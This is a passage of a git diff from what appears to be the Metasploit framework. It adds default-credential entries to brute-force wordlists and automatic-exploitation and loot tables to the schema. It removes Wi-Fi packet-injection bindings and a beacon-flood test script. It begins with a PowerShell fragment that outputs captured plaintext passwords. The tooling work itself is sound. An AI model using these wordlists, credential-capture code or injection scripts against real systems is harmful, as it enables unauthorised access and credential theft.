System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine) + $DS.ValidateCredentials("$full", "$password") | out-null + } + $output = $newcred = $cred.GetNetworkCredential() | select-object UserName, Domain, Password + $output + R{START_PROCESS} +} diff --git a/data/wordlists/tomcat_mgr_default_userpass.txt b/data/wordlists/tomcat_mgr_default_userpass.txt index c1e5fc29f0..bce901bbac 100755 --- a/data/wordlists/tomcat_mgr_default_userpass.txt +++ b/data/wordlists/tomcat_mgr_default_userpass.txt @@ -5,3 +5,4 @@ root owaspbwa ADMIN ADMIN xampp xampp tomcat s3cret +QCC QLogic66 diff --git a/data/wordlists/unix_passwords.txt b/data/wordlists/unix_passwords.txt index 63bd8288c5..02728bc293 100755 --- a/data/wordlists/unix_passwords.txt +++ b/data/wordlists/unix_passwords.txt @@ -1001,3 +1001,5 @@ mendoza sq!us3r adminpasswd raspberry +74k&^*nh#$ +arcsight \ No newline at end of file diff --git a/db/schema.rb b/db/schema.rb index 83e99da75a..5d9c171619 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20140922170030) do +ActiveRecord::Schema.define(:version => 20150326183742) do create_table "api_keys", :force => true do |t| t.text "token" @@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20140922170030) do t.datetime "updated_at", :null => false end + create_table "automatic_exploitation_match_results", :force => true do |t| + t.integer "match_id" + t.integer "run_id" + t.string "state", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id" + add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id" + + create_table "automatic_exploitation_match_sets", :force => true do |t| + t.integer "workspace_id" + t.integer "user_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id" + add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id" + + create_table "automatic_exploitation_matches", :force => true do |t| + t.integer "module_detail_id" + t.string "state" + t.integer "nexpose_data_vulnerability_definition_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "match_set_id" + t.string "matchable_type" + t.integer "matchable_id" + t.text "module_fullname" + end + + add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id" + add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname" + + create_table "automatic_exploitation_runs", :force => true do |t| + t.integer "workspace_id" + t.integer "user_id" + t.integer "match_set_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id" + add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id" + add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id" + create_table "clients", :force => true do |t| t.integer "host_id" t.datetime "created_at" @@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20140922170030) do end create_table "loots", :force => true do |t| - t.integer "workspace_id", :default => 1, :null => false + t.integer "workspace_id", :default => 1, :null => false t.integer "host_id" t.integer "service_id" - t.string "ltype", :limit => 512 - t.string "path", :limit => 1024 + t.string "ltype", :limit => 512 + t.string "path", :limit => 1024 t.text "data" - t.datetime "created_at", :null => false - t.datetime "updated_at", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false t.string "content_type" t.text "name" t.text "info" + t.integer "module_run_id" end + add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id" + create_table "macros", :force => true do |t| t.datetime "created_at", :null => false t.datetime "updated_at", :null => false @@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20140922170030) do add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id" add_index "module_refs", ["name"], :name => "index_module_refs_on_name" + create_table "module_runs", :force => true do |t| + t.datetime "attempted_at" + t.text "fail_detail" + t.string "fail_reason" + t.text "module_fullname" + t.integer "port" + t.string "proto" + t.integer "session_id" + t.string "status" + t.integer "trackable_id" + t.string "trackable_type" + t.integer "user_id" + t.string "username" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id" + add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id" + create_table "module_targets", :force => true do |t| t.integer "detail_id" t.integer "index" @@ -393,9 +464,11 @@ ActiveRecord::Schema.define(:version => 20140922170030) do t.boolean "critical" t.boolean "seen" t.text "data" + t.integer "vuln_id" end add_index "notes", ["ntype"], :name => "index_notes_on_ntype" + add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id" create_table "profiles", :force => true do |t| t.datetime "created_at", :null => false @@ -454,6 +527,7 @@ ActiveRecord::Schema.define(:version => 20140922170030) do t.text "info" end + add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true add_index "services", ["name"], :name => "index_services_on_name" add_index "services", ["port"], :name => "index_services_on_port" add_index "services", ["proto"], :name => "index_services_on_proto" @@ -478,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20140922170030) do t.integer "port" t.string "platform" t.text "datastore" - t.datetime "opened_at", :null => false + t.datetime "opened_at", :null => false t.datetime "closed_at" t.string "close_reason" t.integer "local_id" t.datetime "last_seen" + t.integer "module_run_id" end + add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id" + create_table "tags", :force => true do |t| t.integer "user_id" t.string "name", :limit => 1024 diff --git a/external/ruby-lorcon/Lorcon.c b/external/ruby-lorcon/Lorcon.c deleted file mode 100644 index 196d67919b..0000000000 --- a/external/ruby-lorcon/Lorcon.c +++ /dev/null @@ -1,525 +0,0 @@ -#include "Lorcon.h" -#include "ruby.h" - -/* - self.license = GPLv2; -*/ - -/* - This is a derivative of the tx.c sample included with lorcon: - http://802.11ninja.net/lorcon/ - - lorcon is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - lorcon is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with lorcon; if not, write to the Free Software - Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - - Copyright (c) 2005 dragorn and Joshua Wright - -*/ - -/* - Lots of code borrowed from Tom Wambold's pylorcon: - http://pylorcon.googlecode.com/ - tom5760[at]gmail.com -*/ - -/* - All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007 - http://metasploit.com/ - msfdev[at]metasploit.com -*/ - -VALUE mLorcon; -VALUE cDevice; - -VALUE lorcon_get_version(VALUE self) { - return INT2NUM(tx80211_getversion()); -} - -VALUE lorcon_cap_to_list(int cap) { - VALUE list; - list = rb_ary_new(); - - if ((cap & TX80211_CAP_SNIFF) != 0) - rb_ary_push(list, rb_str_new2("SNIFF")); - - if ((cap & TX80211_CAP_TRANSMIT) != 0) - rb_ary_push(list, rb_str_new2("TRANSMIT")); - - if ((cap & TX80211_CAP_SEQ) != 0) - rb_ary_push(list, rb_str_new2("SEQ")); - - if ((cap & TX80211_CAP_BSSTIME) != 0) - rb_ary_push(list, rb_str_new2("BSSTIME")); - - if ((cap & TX80211_CAP_FRAG) != 0) - rb_ary_push(list, rb_str_new2("FRAG")); - - if ((cap & TX80211_CAP_CTRL) != 0) - rb_ary_push(list, rb_str_new2("CTRL")); - - if ((cap & TX80211_CAP_DURID) != 0) - rb_ary_push(list, rb_str_new2("DURID")); - - if ((cap & TX80211_CAP_SNIFFACK) != 0) - rb_ary_push(list, rb_str_new2("SNIFFACK")); - - if ((cap & TX80211_CAP_SELFACK) != 0) - rb_ary_push(list, rb_str_new2("SELFACK")); - - if ((cap & TX80211_CAP_TXNOWAIT) != 0) - rb_ary_push(list, rb_str_new2("TXNOWAIT")); - - if ((cap & TX80211_CAP_DSSSTX) != 0) - rb_ary_push(list, rb_str_new2("DSSSTX")); - - if ((cap & TX80211_CAP_OFDMTX) != 0) - rb_ary_push(list, rb_str_new2("OFDMTX")); - - if ((cap & TX80211_CAP_MIMOTX) != 0) - rb_ary_push(list, rb_str_new2("MIMOTX")); - - if ((cap & TX80211_CAP_SETRATE) != 0) - rb_ary_push(list, rb_str_new2("SETRATE")); - - if ((cap & TX80211_CAP_SETMODULATION) != 0) - rb_ary_push(list, rb_str_new2("SETMODULATION")); - - if ((cap & TX80211_CAP_NONE) != 0) - rb_ary_push(list, rb_str_new2("NONE")); - - return list; -} - - -static VALUE lorcon_driver_list(VALUE self) { - VALUE list; - VALUE hash; - - struct tx80211_cardlist *cards = NULL; - int i; - - list = rb_hash_new(); - cards = tx80211_getcardlist(); - if (cards == NULL) { - return(Qnil); - } - - for (i = 1; i < cards->num_cards; i++) { - hash = rb_hash_new(); - rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(cards->cardnames[i])); - rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(cards->descriptions[i])); - rb_hash_aset(hash, rb_str_new2("capabilities"), lorcon_cap_to_list(cards->capabilities[i])); - rb_hash_aset(list, rb_str_new2(cards->cardnames[i]), hash); - } - - tx80211_freecardlist(cards); - return(list); -} - -static VALUE lorcon_device_get_channel(VALUE self) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return INT2NUM(tx80211_getchannel(&rld->in_tx)); -} - -static VALUE lorcon_device_set_channel(VALUE self, VALUE channel) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - tx80211_setchannel(&rld->in_tx, NUM2INT(channel)); - return INT2NUM(tx80211_getchannel(&rld->in_tx)); -} - -void lorcon_device_free(struct rldev *rld) { - if (tx80211_getmode(&rld->in_tx) >= 0) { - tx80211_close(&rld->in_tx); - } - free(&rld->in_tx); -} - - -static VALUE lorcon_device_get_mode(VALUE self) { - struct rldev *rld; - int mode; - Data_Get_Struct(self, struct rldev, rld); - - - mode = tx80211_getmode(&rld->in_tx); - if (mode < 0) { - rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - switch (mode) { - case TX80211_MODE_AUTO: - return rb_str_new2("AUTO"); - break; - case TX80211_MODE_ADHOC: - return rb_str_new2("ADHOC"); - break; - case TX80211_MODE_INFRA: - return rb_str_new2("INFRA"); - break; - case TX80211_MODE_MASTER: - return rb_str_new2("MASTER"); - break; - case TX80211_MODE_REPEAT: - return rb_str_new2("REPEAT"); - break; - case TX80211_MODE_SECOND: - return rb_str_new2("SECOND"); - break; - case TX80211_MODE_MONITOR: - return rb_str_new2("MONITOR"); - break; - default: - return Qnil; - break; - } -} - -static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) { - struct rldev *rld; - char *setmode = StringValuePtr(rmode); - int mode = -1; - - Data_Get_Struct(self, struct rldev, rld); - - if (strcmp(setmode, "AUTO") == 0) { - mode = TX80211_MODE_AUTO; - } else if (strcmp(setmode, "ADHOC") == 0) { - mode = TX80211_MODE_ADHOC; - } else if (strcmp(setmode, "INFRA") == 0) { - mode = TX80211_MODE_INFRA; - } else if (strcmp(setmode, "MASTER") == 0) { - mode = TX80211_MODE_MASTER; - } else if (strcmp(setmode, "REPEAT") == 0) { - mode = TX80211_MODE_REPEAT; - } else if (strcmp(setmode, "SECOND") == 0) { - mode = TX80211_MODE_SECOND; - } else if (strcmp(setmode, "MONITOR") == 0) { - mode = TX80211_MODE_MONITOR; - } else { - rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - return INT2NUM(tx80211_setmode(&rld->in_tx, mode)); -} - - -static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) { - struct rldev *rld; - char *funcmode = StringValuePtr(rmode); - int mode = -1; - - Data_Get_Struct(self, struct rldev, rld); - - if (strcmp(funcmode, "RFMON") == 0) { - mode = TX80211_FUNCMODE_RFMON; - } else if (strcmp(funcmode, "INJECT") == 0) { - mode = TX80211_FUNCMODE_INJECT; - } else if (strcmp(funcmode, "INJMON") == 0) { - mode = TX80211_FUNCMODE_INJMON; - } else { - rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) { - rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - return Qtrue; -} - - -static VALUE lorcon_device_get_txrate(VALUE self) { - struct rldev *rld; - int txrate; - - txrate = tx80211_gettxrate(&rld->in_packet); - Data_Get_Struct(self, struct rldev, rld); - - switch (txrate) { - case TX80211_RATE_DEFAULT: - return UINT2NUM(0); - break; - case TX80211_RATE_1MB: - return UINT2NUM(1); - break; - case TX80211_RATE_2MB: - return UINT2NUM(2); - break; - case TX80211_RATE_5_5MB: - return UINT2NUM(5); - break; - case TX80211_RATE_6MB: - return UINT2NUM(6); - break; - case TX80211_RATE_9MB: - return UINT2NUM(9); - break; - case TX80211_RATE_11MB: - return UINT2NUM(11); - break; - case TX80211_RATE_24MB: - return UINT2NUM(24); - break; - case TX80211_RATE_36MB: - return UINT2NUM(36); - break; - case TX80211_RATE_48MB: - return UINT2NUM(48); - break; - case TX80211_RATE_108MB: - return UINT2NUM(108); - break; - default: - rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - return Qnil; -} - - -static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) { - struct rldev *rld; - float settxrate = -1; - int txrate = -1; - - Data_Get_Struct(self, struct rldev, rld); - - - if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) { - rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card"); - return(Qnil); - } - - settxrate = NUM2DBL(rrate); - - if (settxrate == -1) { - txrate = TX80211_RATE_DEFAULT; - } else if (settxrate == 1) { - txrate = TX80211_RATE_1MB; - } else if (settxrate == 2) { - txrate = TX80211_RATE_2MB; - } else if (settxrate == 5.5) { - txrate = TX80211_RATE_5_5MB; - } else if (settxrate == 6) { - txrate = TX80211_RATE_6MB; - } else if (settxrate == 9) { - txrate = TX80211_RATE_9MB; - } else if (settxrate == 11) { - txrate = TX80211_RATE_11MB; - } else if (settxrate == 24) { - txrate = TX80211_RATE_24MB; - } else if (settxrate == 36) { - txrate = TX80211_RATE_36MB; - } else if (settxrate == 48) { - txrate = TX80211_RATE_48MB; - } else if (settxrate == 108) { - txrate = TX80211_RATE_108MB; - } else { - rb_raise(rb_eArgError, "Lorcon does not support this rate setting"); - return(Qnil); - } - - if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) { - rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - return INT2NUM(txrate); -} - -static VALUE lorcon_device_get_modulation(VALUE self) { - struct rldev *rld; - int mod; - - Data_Get_Struct(self, struct rldev, rld); - - mod = tx80211_getmodulation(&rld->in_packet); - switch (mod) { - case TX80211_MOD_DEFAULT: - return rb_str_new2("DEFAULT"); - break; - case TX80211_MOD_FHSS: - return rb_str_new2("FHSS"); - break; - case TX80211_MOD_DSSS: - return rb_str_new2("DSSS"); - break; - case TX80211_MOD_OFDM: - return rb_str_new2("OFDM"); - break; - case TX80211_MOD_TURBO: - return rb_str_new2("TURBO"); - break; - case TX80211_MOD_MIMO: - return rb_str_new2("MIMO"); - break; - case TX80211_MOD_MIMOGF: - return rb_str_new2("MIMOGF"); - break; - default: - rb_raise(rb_eArgError, "Lorcon could not get the modulation value"); - return(Qnil); - } - return(Qnil); -} - -static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) { - struct rldev *rld; - char *setmod = NULL; - int mod; - - Data_Get_Struct(self, struct rldev, rld); - - if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) { - rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card"); - return(Qnil); - } - - setmod = StringValuePtr(rmod); - - if (strcmp(setmod, "DEFAULT") == 0) { - mod = TX80211_MOD_DEFAULT; - } else if (strcmp(setmod, "FHSS") == 0) { - mod = TX80211_MOD_FHSS; - } else if (strcmp(setmod, "DSSS") == 0) { - mod = TX80211_MOD_DSSS; - } else if (strcmp(setmod, "OFDM") == 0) { - mod = TX80211_MOD_OFDM; - } else if (strcmp(setmod, "TURBO") == 0) { - mod = TX80211_MOD_TURBO; - } else if (strcmp(setmod, "MIMO") == 0) { - mod = TX80211_MOD_MIMO; - } else if (strcmp(setmod, "MIMOGF") == 0) { - mod = TX80211_MOD_MIMOGF; - } else { - rb_raise(rb_eArgError, "Lorcon does not support this modulation setting"); - return(Qnil); - } - - if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) { - rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - return INT2NUM(mod); -} - -static VALUE lorcon_device_get_capabilities(VALUE self) { - struct rldev *rld; - Data_Get_Struct(self, struct rldev, rld); - return(lorcon_cap_to_list(tx80211_getcapabilities(&rld->in_tx))); -} - -static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) { - struct rldev *rld; - int ret = 0; - int drivertype = INJ_NODRIVER; - char *driver, *intf; - VALUE rbdriver, rbintf; - VALUE obj; - - rb_scan_args(argc, argv, "2", &rbintf, &rbdriver); - - driver = STR2CSTR(rbdriver); - intf = STR2CSTR(rbintf); - - obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld); - - drivertype = tx80211_resolvecard(driver); - if (drivertype == INJ_NODRIVER) { - rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver"); - return(Qnil); - } - - if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) { - rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - /* Open the interface to get a socket */ - ret = tx80211_open(&rld->in_tx); - if (ret < 0) { - rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx)); - return(Qnil); - } - - rb_obj_call_init(obj, 0, 0); - return(obj); -} - -static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) { - struct rldev *rld; - int ret = 0; - int cnt = 0; - int dly = 0; - - VALUE rbbuff, rbcnt, rbdelay; - - Data_Get_Struct(self, struct rldev, rld); - - switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) { - case 1: - rbdelay = INT2NUM(0); - case 2: - rbcnt = INT2NUM(1); - default: - break; - } - - cnt = NUM2INT(rbcnt); - dly = NUM2INT(rbdelay); - - rld->in_packet.packet = StringValuePtr(rbbuff); - rld->in_packet.plen = RSTRING(rbbuff)->len; - - for (; cnt > 0; cnt--) { - ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet); - if (ret < 0) { - rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx)); - return(INT2NUM(ret)); - } - if (dly > 0) -#ifdef _MSC_VER - Sleep(dly); -#else - usleep(dly); -#endif - } - - return (rbcnt); -} - -void Init_Lorcon() { - mLorcon = rb_define_module("Lorcon"); - rb_define_module_function(mLorcon, "drivers", lorcon_driver_list, 0); - rb_define_module_function(mLorcon, "version", lorcon_get_version, 0); - - cDevice = rb_define_class_under(mLorcon, "Device", rb_cObject); - rb_define_singleton_method(cDevice, "new", lorcon_device_open, -1); - rb_define_method(cDevice, "channel", lorcon_device_get_channel, 0); - rb_define_method(cDevice, "channel=", lorcon_device_set_channel, 1); - rb_define_method(cDevice, "write", lorcon_device_write, -1); - rb_define_method(cDevice, "mode", lorcon_device_get_mode, 0); - rb_define_method(cDevice, "mode=", lorcon_device_set_mode, 1); - rb_define_method(cDevice, "fmode=", lorcon_device_set_functional_mode, 1); - rb_define_method(cDevice, "txrate", lorcon_device_get_txrate, 0); - rb_define_method(cDevice, "txrate=", lorcon_device_set_txrate, 1); - rb_define_method(cDevice, "modulation", lorcon_device_get_modulation, 0); - rb_define_method(cDevice, "modulation=", lorcon_device_set_modulation, 1); - rb_define_method(cDevice, "capabilities", lorcon_device_get_capabilities, 0); -} diff --git a/external/ruby-lorcon/Lorcon.h b/external/ruby-lorcon/Lorcon.h deleted file mode 100644 index 7954c1f367..0000000000 --- a/external/ruby-lorcon/Lorcon.h +++ /dev/null @@ -1,19 +0,0 @@ -#ifndef _MSFLORCON_H -#define _MSFLORCON_H - -#include -#include -#include -#include -#include -#include -#include - - -struct rldev { - struct tx80211 in_tx; - struct tx80211_packet in_packet; -}; - - -#endif diff --git a/external/ruby-lorcon/README b/external/ruby-lorcon/README deleted file mode 100644 index eaea96f856..0000000000 --- a/external/ruby-lorcon/README +++ /dev/null @@ -1,41 +0,0 @@ -This is an experimental interface for lorcon, a 802.11 library -developed by Joshua Wright and dragorn. This interface is only -available on Linux and with lorcon-supported wireless drivers. - -For more information, please see the lorcon documentation and code: -http://www.802.11mercenary.net/lorcon/ - -To build this extension: - -1) Download, compile, and install lorcon -The latest version of lorcon can pulled from SVN: -$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon -$ cd lorcon -$ ./configure -$ make - $ sudo make install - -- or -- - $ su - # make install - # exit -$ cd .. - -2) build the ruby extension.. -$ ruby extconf.rb -$ make -$ sudo make install - -- or -- -$ su -# make install - - -NOTES: - -if Ubuntu 8.04 (and probably others) bitches about 'mkmf', -you need ruby dev package. - -:~/metasploit/external/ruby-lorcon$ ruby extconf.rb -extconf.rb:2:in `require': no such file to load -- mkmf (LoadError) - from extconf.rb:2 - -:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev diff --git a/external/ruby-lorcon/extconf.rb b/external/ruby-lorcon/extconf.rb deleted file mode 100644 index 7fcf31bda3..0000000000 --- a/external/ruby-lorcon/extconf.rb +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env ruby -require 'mkmf' - -if (have_library("orcon", "tx80211_txpacket", "tx80211.h") or find_library("orcon", "tx80211_txpacket", "tx80211.h")) - create_makefile("Lorcon") -else - puts "Error: the lorcon library was not found, please see the README" -end diff --git a/external/ruby-lorcon/test.rb b/external/ruby-lorcon/test.rb deleted file mode 100755 index 4f4398b563..0000000000 --- a/external/ruby-lorcon/test.rb +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/env ruby - -$:.unshift(File.dirname(__FILE__)) -require "Lorcon" -require "pp" - -pp Lorcon.version -pp Lorcon.drivers - -# Beacon frame from tx.c -packet = [ - 0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # dur ffff - 0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, - 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, # 0x0000 - seq no. - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, # BSS timestamp - 0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f, - 0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63, - 0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82, - 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, - 0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00, - 0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04, - 0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10, - 0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2, - 0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, - 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00, - 0x50, 0xf2, 0x02 -].pack('C*') - - -# Configure the card for reliable injection - -tx = Lorcon::Device.new('ath0', 'madwifing') -tx.fmode = "INJECT" -tx.channel = 11 -tx.txrate = 2 -tx.modulation = "DSSS" - -sa = Time.now.to_f -tx.write(packet, 500, 0) -ea = Time.now.to_f - sa - -sb = Time.now.to_f -500.times { tx.write(packet, 1, 0) } -eb = Time.now.to_f - sb - -$stdout.puts "Sent 500 packets (C) in #{ea.to_s} seconds" -$stdout.puts "Sent 500 packets (Ruby) in #{eb.to_s} seconds" diff --git a/external/ruby-lorcon2/Lorcon2.c b/external/ruby-lorcon2/Lorcon2.c deleted file mode 100644 index 1a69658d2d..0000000000 --- a/external/ruby-lorcon2/Lorcon2.c +++ /dev/null @@ -1,655 +0,0 @@ -#include "Lorcon2.h" -#include "ruby.h" - -#ifndef RUBY_19 -#include "rubysig.h" -#endif - -/* - self.license = GPLv2; -*/ - -/* - This is a derivative of the tx.c sample included with lorcon: - http://802.11ninja.net/lorcon/ - - lorcon is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - lorcon is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with lorcon; if not, write to the Free Software - Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - - Copyright (c) 2005 dragorn and Joshua Wright - -*/ - -/* - Lots of code borrowed from Tom Wambold's pylorcon: - http://pylorcon.googlecode.com/ - tom5760[at]gmail.com -*/ - -/* - All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007 - http://metasploit.com/ - msfdev[at]metasploit.com -*/ - -VALUE mLorcon; -VALUE cDevice; -VALUE cPacket; - -VALUE Lorcon_get_version(VALUE self) { - return INT2NUM(lorcon_get_version()); -} - -static VALUE Lorcon_list_drivers(VALUE self) { - VALUE list; - VALUE hash; - - lorcon_driver_t *drvlist, *dri; - - list = rb_hash_new(); - - dri = drvlist = lorcon_list_drivers(); - - if (dri == NULL) - return Qnil; - - while (dri) { - hash = rb_hash_new(); - rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name)); - rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details)); - rb_hash_aset(list, rb_str_new2(dri->name),hash); - dri = dri->next; - } - - lorcon_free_driver_list(drvlist); - - return(list); -} - -static VALUE Lorcon_find_driver(VALUE self, VALUE driver) { - VALUE hash; - lorcon_driver_t *dri; - char *drivert = RSTRING_PTR(driver); - - dri = lorcon_find_driver(drivert); - - if (dri == NULL) - return Qnil; - - hash = rb_hash_new(); - - rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name)); - rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details)); - - lorcon_free_driver_list(dri); - - return(hash); -} - -static VALUE Lorcon_auto_driver(VALUE self, VALUE interface) { - VALUE hash; - lorcon_driver_t *dri; - char *intf = RSTRING_PTR(interface); - - dri = lorcon_auto_driver(intf); - - if (dri == NULL) - return Qnil; - - hash = rb_hash_new(); - rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(dri->name)); - rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(dri->details)); - - lorcon_free_driver_list(dri); - - return hash; -} - -void Lorcon_free(struct rldev *rld) { - if (rld->context != NULL) - lorcon_free(rld->context); -} - -static VALUE Lorcon_create(int argc, VALUE *argv, VALUE self) { - struct rldev *rld; - char *intf = NULL, *driver = NULL; - VALUE rbdriver, rbintf, obj; - lorcon_driver_t *dri; - - if (argc == 2) { - rb_scan_args(argc, argv, "2", &rbintf, &rbdriver); - intf = StringValuePtr(rbintf); - driver = StringValuePtr(rbdriver); - } else { - rb_scan_args(argc, argv, "1", &rbintf); - intf = StringValuePtr(rbintf); - } - - if (driver == NULL) { - if ((dri = lorcon_auto_driver(intf)) == NULL) { - rb_raise(rb_eRuntimeError, - "LORCON could not detect a driver and none specified"); - return (Qnil); - } - } else { - if ((dri = lorcon_find_driver(driver)) == NULL) { - rb_raise(rb_eArgError, - "LORCON could not recognize the specified driver"); - return (Qnil); - } - } - - obj = Data_Make_Struct(cDevice, struct rldev, 0, Lorcon_free, rld); - - rld->context = lorcon_create(intf, dri); - - // Obsolete: XXX - // lorcon_set_timeout(rld->context, 100); - - if (rld->context == NULL) { - rb_raise(rb_eRuntimeError, - "LORCON could not create context"); - return (Qnil); - } - - lorcon_free_driver_list(dri); - - rb_obj_call_init(obj, 0, 0); - return(obj); -} - - -static VALUE Lorcon_open_inject(VALUE self) { - struct rldev *rld; - - Data_Get_Struct(self, struct rldev, rld); - - if (lorcon_open_inject(rld->context) < 0) - return Qfalse; - - return Qtrue; -} - -static VALUE Lorcon_open_monitor(VALUE self) { - struct rldev *rld; - - Data_Get_Struct(self, struct rldev, rld); - - if (lorcon_open_monitor(rld->context) < 0) - return Qfalse; - - return Qtrue; -} - -static VALUE Lorcon_open_injmon(VALUE self) { - struct rldev *rld; - - Data_Get_Struct(self, struct rldev, rld); - - if (lorcon_open_injmon(rld->context) < 0) - return Qfalse; - - return Qtrue; -} - -static VALUE Lorcon_get_error(VALUE self) { - struct rldev *rld; - - 